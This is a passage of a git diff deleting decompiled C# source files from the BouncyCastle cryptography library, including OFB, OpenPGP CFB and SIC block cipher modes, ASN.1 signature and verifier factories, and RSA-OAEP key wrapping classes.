LSub); - Xor(hashBlock, OffsetHASH); - hashCipher.ProcessBlock(hashBlock, 0, hashBlock, 0); - Xor(Sum, hashBlock); - } - - protected static byte[] OCB_double(byte[] block) - { - byte[] array = new byte[16]; - int num = ShiftLeft(block, array); - byte[] array2; - (array2 = array)[15] = (byte)(array2[15] ^ (byte)(135 >> (1 - num << 3))); - return array; - } - - protected static void OCB_extend(byte[] block, int pos) - { - block[pos] = 128; - while (++pos < 16) - { - block[pos] = 0; - } - } - - protected static int OCB_ntz(long x) - { - if (x == 0) - { - return 64; - } - int num = 0; - ulong num2 = (ulong)x; - while ((num2 & 1) == 0) - { - num++; - num2 >>= 1; - } - return num; - } - - protected static int ShiftLeft(byte[] block, byte[] output) - { - int num = 16; - uint num2 = 0u; - while (--num >= 0) - { - uint num3 = block[num]; - output[num] = (byte)((num3 << 1) | num2); - num2 = (num3 >> 7) & 1; - } - return (int)num2; - } - - protected static void Xor(byte[] block, byte[] val) - { - for (int num = 15; num >= 0; num--) - { - byte[] array2; - byte[] array = (array2 = block); - int num2 = num; - nint num3 = num2; - array[num2] = (byte)(array2[num3] ^ val[num]); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/OfbBlockCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/OfbBlockCipher.cs deleted file mode 100644 index 0e328c4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/OfbBlockCipher.cs +++ /dev/null @@ -1,93 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Modes; - -public class OfbBlockCipher : IBlockCipher -{ - private byte[] IV; - - private byte[] ofbV; - - private byte[] ofbOutV; - - private readonly int blockSize; - - private readonly IBlockCipher cipher; - - public string AlgorithmName => cipher.AlgorithmName + "/OFB" + blockSize * 8; - - public bool IsPartialBlockOkay => true; - - public OfbBlockCipher(IBlockCipher cipher, int blockSize) - { - this.cipher = cipher; - this.blockSize = blockSize / 8; - IV = new byte[cipher.GetBlockSize()]; - ofbV = new byte[cipher.GetBlockSize()]; - ofbOutV = new byte[cipher.GetBlockSize()]; - } - - public IBlockCipher GetUnderlyingCipher() - { - return cipher; - } - - public void Init(bool forEncryption, ICipherParameters parameters) - { - if (parameters is ParametersWithIV) - { - ParametersWithIV parametersWithIV = (ParametersWithIV)parameters; - byte[] iV = parametersWithIV.GetIV(); - if (iV.Length < IV.Length) - { - Array.Copy(iV, 0, IV, IV.Length - iV.Length, iV.Length); - for (int i = 0; i < IV.Length - iV.Length; i++) - { - IV[i] = 0; - } - } - else - { - Array.Copy(iV, 0, IV, 0, IV.Length); - } - parameters = parametersWithIV.Parameters; - } - Reset(); - if (parameters != null) - { - cipher.Init(forEncryption: true, parameters); - } - } - - public int GetBlockSize() - { - return blockSize; - } - - public int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (inOff + blockSize > input.Length) - { - throw new DataLengthException("input buffer too short"); - } - if (outOff + blockSize > output.Length) - { - throw new DataLengthException("output buffer too short"); - } - cipher.ProcessBlock(ofbV, 0, ofbOutV, 0); - for (int i = 0; i < blockSize; i++) - { - output[outOff + i] = (byte)(ofbOutV[i] ^ input[inOff + i]); - } - Array.Copy(ofbV, blockSize, ofbV, 0, ofbV.Length - blockSize); - Array.Copy(ofbOutV, 0, ofbV, ofbV.Length - blockSize, blockSize); - return blockSize; - } - - public void Reset() - { - Array.Copy(IV, 0, ofbV, 0, IV.Length); - cipher.Reset(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/OpenPgpCfbBlockCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/OpenPgpCfbBlockCipher.cs deleted file mode 100644 index 252e9df..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/OpenPgpCfbBlockCipher.cs +++ /dev/null @@ -1,194 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Modes; - -public class OpenPgpCfbBlockCipher : IBlockCipher -{ - private byte[] IV; - - private byte[] FR; - - private byte[] FRE; - - private readonly IBlockCipher cipher; - - private readonly int blockSize; - - private int count; - - private bool forEncryption; - - public string AlgorithmName => cipher.AlgorithmName + "/OpenPGPCFB"; - - public bool IsPartialBlockOkay => true; - - public OpenPgpCfbBlockCipher(IBlockCipher cipher) - { - this.cipher = cipher; - blockSize = cipher.GetBlockSize(); - IV = new byte[blockSize]; - FR = new byte[blockSize]; - FRE = new byte[blockSize]; - } - - public IBlockCipher GetUnderlyingCipher() - { - return cipher; - } - - public int GetBlockSize() - { - return cipher.GetBlockSize(); - } - - public int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (!forEncryption) - { - return DecryptBlock(input, inOff, output, outOff); - } - return EncryptBlock(input, inOff, output, outOff); - } - - public void Reset() - { - count = 0; - Array.Copy(IV, 0, FR, 0, FR.Length); - cipher.Reset(); - } - - public void Init(bool forEncryption, ICipherParameters parameters) - { - this.forEncryption = forEncryption; - if (parameters is ParametersWithIV) - { - ParametersWithIV parametersWithIV = (ParametersWithIV)parameters; - byte[] iV = parametersWithIV.GetIV(); - if (iV.Length < IV.Length) - { - Array.Copy(iV, 0, IV, IV.Length - iV.Length, iV.Length); - for (int i = 0; i < IV.Length - iV.Length; i++) - { - IV[i] = 0; - } - } - else - { - Array.Copy(iV, 0, IV, 0, IV.Length); - } - parameters = parametersWithIV.Parameters; - } - Reset(); - cipher.Init(forEncryption: true, parameters); - } - - private byte EncryptByte(byte data, int blockOff) - { - return (byte)(FRE[blockOff] ^ data); - } - - private int EncryptBlock(byte[] input, int inOff, byte[] outBytes, int outOff) - { - if (inOff + blockSize > input.Length) - { - throw new DataLengthException("input buffer too short"); - } - if (outOff + blockSize > outBytes.Length) - { - throw new DataLengthException("output buffer too short"); - } - if (count > blockSize) - { - FR[blockSize - 2] = (outBytes[outOff] = EncryptByte(input[inOff], blockSize - 2)); - FR[blockSize - 1] = (outBytes[outOff + 1] = EncryptByte(input[inOff + 1], blockSize - 1)); - cipher.ProcessBlock(FR, 0, FRE, 0); - for (int i = 2; i < blockSize; i++) - { - FR[i - 2] = (outBytes[outOff + i] = EncryptByte(input[inOff + i], i - 2)); - } - } - else if (count == 0) - { - cipher.ProcessBlock(FR, 0, FRE, 0); - for (int j = 0; j < blockSize; j++) - { - FR[j] = (outBytes[outOff + j] = EncryptByte(input[inOff + j], j)); - } - count += blockSize; - } - else if (count == blockSize) - { - cipher.ProcessBlock(FR, 0, FRE, 0); - outBytes[outOff] = EncryptByte(input[inOff], 0); - outBytes[outOff + 1] = EncryptByte(input[inOff + 1], 1); - Array.Copy(FR, 2, FR, 0, blockSize - 2); - Array.Copy(outBytes, outOff, FR, blockSize - 2, 2); - cipher.ProcessBlock(FR, 0, FRE, 0); - for (int k = 2; k < blockSize; k++) - { - FR[k - 2] = (outBytes[outOff + k] = EncryptByte(input[inOff + k], k - 2)); - } - count += blockSize; - } - return blockSize; - } - - private int DecryptBlock(byte[] input, int inOff, byte[] outBytes, int outOff) - { - if (inOff + blockSize > input.Length) - { - throw new DataLengthException("input buffer too short"); - } - if (outOff + blockSize > outBytes.Length) - { - throw new DataLengthException("output buffer too short"); - } - if (count > blockSize) - { - byte b = input[inOff]; - FR[blockSize - 2] = b; - outBytes[outOff] = EncryptByte(b, blockSize - 2); - b = input[inOff + 1]; - FR[blockSize - 1] = b; - outBytes[outOff + 1] = EncryptByte(b, blockSize - 1); - cipher.ProcessBlock(FR, 0, FRE, 0); - for (int i = 2; i < blockSize; i++) - { - b = input[inOff + i]; - FR[i - 2] = b; - outBytes[outOff + i] = EncryptByte(b, i - 2); - } - } - else if (count == 0) - { - cipher.ProcessBlock(FR, 0, FRE, 0); - for (int j = 0; j < blockSize; j++) - { - FR[j] = input[inOff + j]; - outBytes[j] = EncryptByte(input[inOff + j], j); - } - count += blockSize; - } - else if (count == blockSize) - { - cipher.ProcessBlock(FR, 0, FRE, 0); - byte b2 = input[inOff]; - byte b3 = input[inOff + 1]; - outBytes[outOff] = EncryptByte(b2, 0); - outBytes[outOff + 1] = EncryptByte(b3, 1); - Array.Copy(FR, 2, FR, 0, blockSize - 2); - FR[blockSize - 2] = b2; - FR[blockSize - 1] = b3; - cipher.ProcessBlock(FR, 0, FRE, 0); - for (int k = 2; k < blockSize; k++) - { - byte b4 = input[inOff + k]; - FR[k - 2] = b4; - outBytes[outOff + k] = EncryptByte(b4, k - 2); - } - count += blockSize; - } - return blockSize; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/SicBlockCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/SicBlockCipher.cs deleted file mode 100644 index 4c4bbd0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Modes/SicBlockCipher.cs +++ /dev/null @@ -1,93 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Modes; - -public class SicBlockCipher : IBlockCipher -{ - private readonly IBlockCipher cipher; - - private readonly int blockSize; - - private readonly byte[] counter; - - private readonly byte[] counterOut; - - private byte[] IV; - - public virtual string AlgorithmName => cipher.AlgorithmName + "/SIC"; - - public virtual bool IsPartialBlockOkay => true; - - public SicBlockCipher(IBlockCipher cipher) - { - this.cipher = cipher; - blockSize = cipher.GetBlockSize(); - counter = new byte[blockSize]; - counterOut = new byte[blockSize]; - IV = new byte[blockSize]; - } - - public virtual IBlockCipher GetUnderlyingCipher() - { - return cipher; - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (!(parameters is ParametersWithIV parametersWithIV)) - { - throw new ArgumentException("CTR/SIC mode requires ParametersWithIV", "parameters"); - } - IV = Arrays.Clone(parametersWithIV.GetIV()); - if (blockSize < IV.Length) - { - throw new ArgumentException("CTR/SIC mode requires IV no greater than: " + blockSize + " bytes."); - } - int num = System.Math.Min(8, blockSize / 2); - if (blockSize - IV.Length > num) - { - throw new ArgumentException("CTR/SIC mode requires IV of at least: " + (blockSize - num) + " bytes."); - } - if (parametersWithIV.Parameters != null) - { - cipher.Init(forEncryption: true, parametersWithIV.Parameters); - } - Reset(); - } - - public virtual int GetBlockSize() - { - return cipher.GetBlockSize(); - } - - public virtual int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - cipher.ProcessBlock(counter, 0, counterOut, 0); - for (int i = 0; i < counterOut.Length; i++) - { - output[outOff + i] = (byte)(counterOut[i] ^ input[inOff + i]); - } - int num = counter.Length; - while (--num >= 0) - { - byte[] array2; - byte[] array = (array2 = counter); - int num2 = num; - nint num3 = num2; - if ((array[num2] = (byte)(array2[num3] + 1)) != 0) - { - break; - } - } - return counter.Length; - } - - public virtual void Reset() - { - Arrays.Fill(counter, 0); - Array.Copy(IV, 0, counter, 0, IV.Length); - cipher.Reset(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/Asn1CipherBuilderWithKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/Asn1CipherBuilderWithKey.cs deleted file mode 100644 index 902b876..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/Asn1CipherBuilderWithKey.cs +++ /dev/null @@ -1,51 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Cms; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Operators; - -public class Asn1CipherBuilderWithKey : ICipherBuilderWithKey, ICipherBuilder -{ - private readonly KeyParameter encKey; - - private AlgorithmIdentifier algorithmIdentifier; - - public object AlgorithmDetails => algorithmIdentifier; - - public ICipherParameters Key => encKey; - - public Asn1CipherBuilderWithKey(DerObjectIdentifier encryptionOID, int keySize, SecureRandom random) - { - if (random == null) - { - random = new SecureRandom(); - } - CipherKeyGenerator cipherKeyGenerator = CipherKeyGeneratorFactory.CreateKeyGenerator(encryptionOID, random); - encKey = new KeyParameter(cipherKeyGenerator.GenerateKey()); - algorithmIdentifier = AlgorithmIdentifierFactory.GenerateEncryptionAlgID(encryptionOID, encKey.GetKey().Length * 8, random); - } - - public int GetMaxOutputSize(int inputLen) - { - throw new NotImplementedException(); - } - - public ICipher BuildCipher(Stream stream) - { - object obj = EnvelopedDataHelper.CreateContentCipher(forEncryption: true, encKey, algorithmIdentifier); - if (obj is IStreamCipher) - { - obj = new BufferedStreamCipher((IStreamCipher)obj); - } - if (stream == null) - { - stream = new MemoryStream(); - } - return new BufferedCipherWrapper((IBufferedCipher)obj, stream); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/Asn1KeyWrapper.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/Asn1KeyWrapper.cs deleted file mode 100644 index f65b1a2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/Asn1KeyWrapper.cs +++ /dev/null @@ -1,23 +0,0 @@ -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Crypto.Operators; - -public class Asn1KeyWrapper : IKeyWrapper -{ - private string algorithm; - - private IKeyWrapper wrapper; - - public object AlgorithmDetails => wrapper.AlgorithmDetails; - - public Asn1KeyWrapper(string algorithm, X509Certificate cert) - { - this.algorithm = algorithm; - wrapper = KeyWrapperUtil.WrapperForName(algorithm, cert.GetPublicKey()); - } - - public IBlockResult Wrap(byte[] keyData) - { - return wrapper.Wrap(keyData); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/Asn1SignatureFactory.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/Asn1SignatureFactory.cs deleted file mode 100644 index 847cca4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/Asn1SignatureFactory.cs +++ /dev/null @@ -1,54 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Operators; - -public class Asn1SignatureFactory : ISignatureFactory -{ - private readonly AlgorithmIdentifier algID; - - private readonly string algorithm; - - private readonly AsymmetricKeyParameter privateKey; - - private readonly SecureRandom random; - - public object AlgorithmDetails => algID; - - public static IEnumerable SignatureAlgNames => X509Utilities.GetAlgNames(); - - public Asn1SignatureFactory(string algorithm, AsymmetricKeyParameter privateKey) - : this(algorithm, privateKey, null) - { - } - - public Asn1SignatureFactory(string algorithm, AsymmetricKeyParameter privateKey, SecureRandom random) - { - if (algorithm == null) - { - throw new ArgumentNullException("algorithm"); - } - if (privateKey == null) - { - throw new ArgumentNullException("privateKey"); - } - if (!privateKey.IsPrivate) - { - throw new ArgumentException("Key for signing must be private", "privateKey"); - } - DerObjectIdentifier algorithmOid = X509Utilities.GetAlgorithmOid(algorithm); - this.algorithm = algorithm; - this.privateKey = privateKey; - this.random = random; - algID = X509Utilities.GetSigAlgID(algorithmOid, algorithm); - } - - public IStreamCalculator CreateCalculator() - { - ISigner signer = SignerUtilities.InitSigner(algorithm, forSigning: true, privateKey, random); - return new DefaultSignatureCalculator(signer); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/Asn1VerifierFactory.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/Asn1VerifierFactory.cs deleted file mode 100644 index 59e7009..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/Asn1VerifierFactory.cs +++ /dev/null @@ -1,46 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Operators; - -public class Asn1VerifierFactory : IVerifierFactory -{ - private readonly AlgorithmIdentifier algID; - - private readonly AsymmetricKeyParameter publicKey; - - public object AlgorithmDetails => algID; - - public Asn1VerifierFactory(string algorithm, AsymmetricKeyParameter publicKey) - { - if (algorithm == null) - { - throw new ArgumentNullException("algorithm"); - } - if (publicKey == null) - { - throw new ArgumentNullException("publicKey"); - } - if (publicKey.IsPrivate) - { - throw new ArgumentException("Key for verifying must be public", "publicKey"); - } - DerObjectIdentifier algorithmOid = X509Utilities.GetAlgorithmOid(algorithm); - this.publicKey = publicKey; - algID = X509Utilities.GetSigAlgID(algorithmOid, algorithm); - } - - public Asn1VerifierFactory(AlgorithmIdentifier algorithm, AsymmetricKeyParameter publicKey) - { - this.publicKey = publicKey; - algID = algorithm; - } - - public IStreamCalculator CreateCalculator() - { - ISigner signer = SignerUtilities.InitSigner(X509Utilities.GetSignatureName(algID), forSigning: false, publicKey, null); - return new DefaultVerifierCalculator(signer); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/Asn1VerifierFactoryProvider.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/Asn1VerifierFactoryProvider.cs deleted file mode 100644 index 40a2b76..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/Asn1VerifierFactoryProvider.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Crypto.Operators; - -public class Asn1VerifierFactoryProvider : IVerifierFactoryProvider -{ - private readonly AsymmetricKeyParameter publicKey; - - public IEnumerable SignatureAlgNames => X509Utilities.GetAlgNames(); - - public Asn1VerifierFactoryProvider(AsymmetricKeyParameter publicKey) - { - this.publicKey = publicKey; - } - - public IVerifierFactory CreateVerifierFactory(object algorithmDetails) - { - return new Asn1VerifierFactory((AlgorithmIdentifier)algorithmDetails, publicKey); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/BufferedCipherWrapper.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/BufferedCipherWrapper.cs deleted file mode 100644 index 552b15c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/BufferedCipherWrapper.cs +++ /dev/null @@ -1,29 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Crypto.IO; - -namespace Org.BouncyCastle.Crypto.Operators; - -public class BufferedCipherWrapper : ICipher -{ - private readonly IBufferedCipher bufferedCipher; - - private readonly CipherStream stream; - - public Stream Stream => stream; - - public BufferedCipherWrapper(IBufferedCipher bufferedCipher, Stream source) - { - this.bufferedCipher = bufferedCipher; - stream = new CipherStream(source, bufferedCipher, bufferedCipher); - } - - public int GetMaxOutputSize(int inputLen) - { - return bufferedCipher.GetOutputSize(inputLen); - } - - public int GetUpdateOutputSize(int inputLen) - { - return bufferedCipher.GetUpdateOutputSize(inputLen); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/DefaultSignatureCalculator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/DefaultSignatureCalculator.cs deleted file mode 100644 index 9f6c7fc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/DefaultSignatureCalculator.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Crypto.IO; - -namespace Org.BouncyCastle.Crypto.Operators; - -public class DefaultSignatureCalculator : IStreamCalculator -{ - private readonly SignerSink mSignerSink; - - public Stream Stream => mSignerSink; - - public DefaultSignatureCalculator(ISigner signer) - { - mSignerSink = new SignerSink(signer); - } - - public object GetResult() - { - return new DefaultSignatureResult(mSignerSink.Signer); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/DefaultSignatureResult.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/DefaultSignatureResult.cs deleted file mode 100644 index adc5c7b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/DefaultSignatureResult.cs +++ /dev/null @@ -1,23 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Operators; - -public class DefaultSignatureResult : IBlockResult -{ - private readonly ISigner mSigner; - - public DefaultSignatureResult(ISigner signer) - { - mSigner = signer; - } - - public byte[] Collect() - { - return mSigner.GenerateSignature(); - } - - public int Collect(byte[] sig, int sigOff) - { - byte[] array = Collect(); - array.CopyTo(sig, sigOff); - return array.Length; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/DefaultVerifierCalculator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/DefaultVerifierCalculator.cs deleted file mode 100644 index 7c90795..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/DefaultVerifierCalculator.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Crypto.IO; - -namespace Org.BouncyCastle.Crypto.Operators; - -public class DefaultVerifierCalculator : IStreamCalculator -{ - private readonly SignerSink mSignerSink; - - public Stream Stream => mSignerSink; - - public DefaultVerifierCalculator(ISigner signer) - { - mSignerSink = new SignerSink(signer); - } - - public object GetResult() - { - return new DefaultVerifierResult(mSignerSink.Signer); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/DefaultVerifierResult.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/DefaultVerifierResult.cs deleted file mode 100644 index b4ebdd6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/DefaultVerifierResult.cs +++ /dev/null @@ -1,24 +0,0 @@ -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Operators; - -public class DefaultVerifierResult : IVerifier -{ - private readonly ISigner mSigner; - - public DefaultVerifierResult(ISigner signer) - { - mSigner = signer; - } - - public bool IsVerified(byte[] signature) - { - return mSigner.VerifySignature(signature); - } - - public bool IsVerified(byte[] sig, int sigOff, int sigLen) - { - byte[] signature = Arrays.CopyOfRange(sig, sigOff, sigOff + sigLen); - return IsVerified(signature); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/GenericKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/GenericKey.cs deleted file mode 100644 index 7f45423..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/GenericKey.cs +++ /dev/null @@ -1,32 +0,0 @@ -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Crypto.Operators; - -public class GenericKey -{ - private readonly AlgorithmIdentifier algorithmIdentifier; - - private readonly object representation; - - public AlgorithmIdentifier AlgorithmIdentifier => algorithmIdentifier; - - public object Representation => representation; - - public GenericKey(object representation) - { - algorithmIdentifier = null; - this.representation = representation; - } - - public GenericKey(AlgorithmIdentifier algorithmIdentifier, byte[] representation) - { - this.algorithmIdentifier = algorithmIdentifier; - this.representation = representation; - } - - public GenericKey(AlgorithmIdentifier algorithmIdentifier, object representation) - { - this.algorithmIdentifier = algorithmIdentifier; - this.representation = representation; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/KeyWrapperUtil.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/KeyWrapperUtil.cs deleted file mode 100644 index bb5baac..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/KeyWrapperUtil.cs +++ /dev/null @@ -1,42 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Operators; - -internal class KeyWrapperUtil -{ - private static readonly IDictionary providerMap; - - static KeyWrapperUtil() - { - providerMap = Platform.CreateHashtable(); - providerMap.Add("RSA/NONE/OAEPWITHSHA1ANDMGF1PADDING", new RsaOaepWrapperProvider(OiwObjectIdentifiers.IdSha1)); - providerMap.Add("RSA/NONE/OAEPWITHSHA224ANDMGF1PADDING", new RsaOaepWrapperProvider(NistObjectIdentifiers.IdSha224)); - providerMap.Add("RSA/NONE/OAEPWITHSHA256ANDMGF1PADDING", new RsaOaepWrapperProvider(NistObjectIdentifiers.IdSha256)); - providerMap.Add("RSA/NONE/OAEPWITHSHA384ANDMGF1PADDING", new RsaOaepWrapperProvider(NistObjectIdentifiers.IdSha384)); - providerMap.Add("RSA/NONE/OAEPWITHSHA512ANDMGF1PADDING", new RsaOaepWrapperProvider(NistObjectIdentifiers.IdSha512)); - } - - public static IKeyWrapper WrapperForName(string algorithm, ICipherParameters parameters) - { - WrapperProvider wrapperProvider = (WrapperProvider)providerMap[Strings.ToUpperCase(algorithm)]; - if (wrapperProvider == null) - { - throw new ArgumentException("could not resolve " + algorithm + " to a KeyWrapper"); - } - return (IKeyWrapper)wrapperProvider.CreateWrapper(forWrapping: true, parameters); - } - - public static IKeyUnwrapper UnwrapperForName(string algorithm, ICipherParameters parameters) - { - WrapperProvider wrapperProvider = (WrapperProvider)providerMap[Strings.ToUpperCase(algorithm)]; - if (wrapperProvider == null) - { - throw new ArgumentException("could not resolve " + algorithm + " to a KeyUnwrapper"); - } - return (IKeyUnwrapper)wrapperProvider.CreateWrapper(forWrapping: false, parameters); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/RsaOaepWrapper.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/RsaOaepWrapper.cs deleted file mode 100644 index 999f490..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/RsaOaepWrapper.cs +++ /dev/null @@ -1,35 +0,0 @@ -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto.Encodings; -using Org.BouncyCastle.Crypto.Engines; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Operators; - -internal class RsaOaepWrapper : IKeyWrapper, IKeyUnwrapper -{ - private readonly AlgorithmIdentifier algId; - - private readonly IAsymmetricBlockCipher engine; - - public object AlgorithmDetails => algId; - - public RsaOaepWrapper(bool forWrapping, ICipherParameters parameters, DerObjectIdentifier digestOid) - { - AlgorithmIdentifier algorithmIdentifier = new AlgorithmIdentifier(digestOid, DerNull.Instance); - algId = new AlgorithmIdentifier(PkcsObjectIdentifiers.IdRsaesOaep, new RsaesOaepParameters(algorithmIdentifier, new AlgorithmIdentifier(PkcsObjectIdentifiers.IdMgf1, algorithmIdentifier), RsaesOaepParameters.DefaultPSourceAlgorithm)); - engine = new OaepEncoding(new RsaBlindedEngine(), DigestUtilities.GetDigest(digestOid)); - engine.Init(forWrapping, parameters); - } - - public IBlockResult Unwrap(byte[] cipherText, int offset, int length) - { - return new SimpleBlockResult(engine.ProcessBlock(cipherText, offset, length)); - } - - public IBlockResult Wrap(byte[] keyData) - { - return new SimpleBlockResult(engine.ProcessBlock(keyData, 0, keyData.Length)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/RsaOaepWrapperProvider.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/RsaOaepWrapperProvider.cs deleted file mode 100644 index 665bb93..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/RsaOaepWrapperProvider.cs +++ /dev/null @@ -1,18 +0,0 @@ -using Org.BouncyCastle.Asn1; - -namespace Org.BouncyCastle.Crypto.Operators; - -internal class RsaOaepWrapperProvider : WrapperProvider -{ - private readonly DerObjectIdentifier digestOid; - - internal RsaOaepWrapperProvider(DerObjectIdentifier digestOid) - { - this.digestOid = digestOid; - } - - object WrapperProvider.CreateWrapper(bool forWrapping, ICipherParameters parameters) - { - return new RsaOaepWrapper(forWrapping, parameters, digestOid); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/WrapperProvider.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/WrapperProvider.cs deleted file mode 100644 index 15b83a9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/WrapperProvider.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Operators; - -internal interface WrapperProvider -{ - object CreateWrapper(bool forWrapping, ICipherParameters parameters); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/X509Utilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/X509Utilities.cs deleted file mode 100644 index 1a1a877..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Operators/X509Utilities.cs +++ /dev/null @@ -1,194 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.CryptoPro; 